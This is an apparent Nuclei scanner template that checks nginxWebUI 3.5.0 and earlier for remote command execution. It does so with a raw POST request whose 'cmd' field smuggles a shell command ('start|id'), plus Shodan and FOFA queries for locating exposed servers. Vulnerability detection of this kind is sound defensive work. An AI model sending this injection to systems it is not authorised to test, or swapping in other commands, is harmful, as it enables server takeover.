id: nginx-webui-rce

info:
  name: nginxWebUI ≤ 3.5.0 - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: |
    There is a command execution vulnerability in the nginxWebUI backend. After logging in to the backend, the attacker can execute any command to obtain server permissions.
  reference:
    - https://forum.butian.net/article/243
  metadata:
    max-request: 1
    shodan-query: title="nginxwebui"
    fofa-query: title="nginxwebui"
  tags: nginx,nginxwebui,webui,rce,vuln

http:
  - raw:
      - |
        POST /adminPage/remote/cmdOver HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        remoteId=local&cmd=start|id&interval=1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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